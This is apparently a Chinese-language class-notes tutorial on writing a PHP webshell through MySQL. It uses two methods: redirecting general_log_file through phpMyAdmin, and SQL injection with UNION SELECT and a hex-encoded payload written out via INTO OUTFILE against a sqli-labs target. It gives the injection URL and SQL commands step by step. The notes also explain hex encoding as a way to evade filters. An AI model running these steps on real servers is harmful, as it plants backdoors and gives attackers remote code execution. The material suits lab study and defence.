phpMyAdmin → 写文件拿 WebShell
一、原理
利用 MySQL 的**通用查询日志(general_log)**把数据库执行的内容写入到可被 Web 服务器读取的目录,从而把可执行代码(如 PHP 片段)落到 webroot 并通过浏览器触发执行 —— 本质是「把数据库的输出变成网站文件」。
二、操作
general_log:MySQL 的通用查询日志,记录执行的 SQL。
general_log_file:通用查询日志的文件路径,MySQL 会把日志写入此文件。
FILE 权限(MySQL 权限):授予后可影响服务器端的文件写入能力(影响面广)。
phpMyAdmin / 管理面板权限:若能通过管理面板执行 SQL,就可能触发上述风险(取决于配置与权限)。
1.查看日志功能是否开启
SHOW VARIABLES LIKE 'general%';这条命令会列出 MySQL 中和 general_log 有关的变量,主要用来确认 MySQL 的 通用查询日志 是否处于开启状态。

2.如果日志功能关闭
如果查询结果显示 general_log = OFF,就可以通过下面的语句开启:
set global general_log = "ON";开启后,MySQL 会把执行的 SQL 语句记录到日志文件里。
3.通过修改 general_log_file 把 MySQL 写入到 Web 可访问目录
把 MySQL 的通用查询日志(general_log)重定向到这个文件
set global general_log_file='D:\\phpstudy_pro\\WWW\\phpinfo.php' 
查看
general_log_file路径是否在 web 服务器可访问的目录(如 /var/www、htdocs、WWW、wwwroot 等)检查操作系统上 mysql 用户对 webroot 是否有写权限(
ls -ld /var/www、namei -l /var/www/...)
-- 查看通用日志状态与文件路径
SHOW VARIABLES LIKE 'general_log%';
-- 查看当前 general_log_file 的路径
SHOW VARIABLES LIKE 'general_log_file';
-- 检查有哪些用户拥有 FILE 权限(FILE 权限允许写文件到服务器)
SELECT user, host, file_priv FROM mysql.user;4.写入webshell
执行sql查询
select '<?php phpinfo();?>';


二、手工拿 Shell —— SQL 注入 + 写入文件
一、命令解析
URL:
http://192.168.1.1/sqli/Less-1/?id=3' union select 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile 'D:\\phpstudy_pro\\WWW\\2.php' --+逐段拆解:
id=3' union select ... --+利用 union 注入 拼接查询结果。
'关闭原本的语句。union select拼接新的查询结果。--+注释掉后续 SQL。
1,0x3c3f70687020706870696e666f28293b3f3e,3union select后需要和前面查询列数匹配,因为没有第四列,只有1-3列。这里填了三列:
1,payload,3。重点:
0x3c3f70687020706870696e666f28293b3f3e
这是十六进制编码。
转换后是:
<?php phpinfo();?>等价于一句话 PHP 脚本,用于测试写入是否成功。
into outfile 'D:\\phpstudy_pro\\WWW\\2.php'into outfile:把 select 的结果写入文件。路径:写入到 Web 目录下,
2.php。这样浏览器访问时,文件会被当 PHP 执行。
二、原理解析
SQL 注入
利用
union select把自定义内容拼接到 SQL 查询结果中。通过
into outfile将查询结果写入服务器磁盘。
十六进制编码
因为直接写
<?php phpinfo();?>可能被过滤。转成十六进制再由数据库写入,避免拦截。
WebShell 写入
路径设定到
WWW目录(网站根目录)。写入的内容是 PHP 代码。
浏览器访问时就执行 PHP,从而拿到 Shell(例如 phpinfo 或一句话木马)。
关键条件
数据库用户必须有
FILE权限。Web 服务目录必须对数据库有写权限。
into outfile必须允许(有的 MySQL 配置禁用)。
三、完整过程(课堂笔记)
确认注入点
在 URL 参数(如
id=3)处测试注入。找到能用的
union select注入点。
判断字段数
用
order by或union select null,...测试。确定有 3 个字段。
构造 payload
union select 1, 'payload', 3把中间列替换成要写入的内容。
为避免过滤,使用十六进制表示:
0x3c3f70687020706870696e666f28293b3f3e。
写入文件
into outfile 'D:\\phpstudy_pro\\WWW\\2.php'生成
2.php,内容是<?php phpinfo();?>。
验证执行
浏览器访问:
http://192.168.255.180/2.php若显示 phpinfo 页面 → 写入成功。
总结
利用 SQL 注入 +
into outfile实现写文件。最终可在 webroot 下生成 PHP 文件 → 拿到 Shell。
📒 流程(SQL 注入点 → union select → into outfile → webshell)
x. 和拿 shell 的关系
在一些不安全的配置下,如果能控制 MySQL 的 general_log 输出路径(比如设置到 Web 目录下,并写入恶意 PHP 代码),那么就可能通过 phpMyAdmin 写一个 WebShell,从而拿到服务器权限。
这也是图片里提到的 “phpmyadmin 拿 shell 原理” 的核心思路:
先通过 phpMyAdmin 执行 SQL 语句 → 控制日志功能 → 写入一句话木马到 Web 目录 → 远程连接 WebShell。
set global general_log_file='D:\\phpstudy_pro\\WWW\\phpinfo.php'
-.-
评论区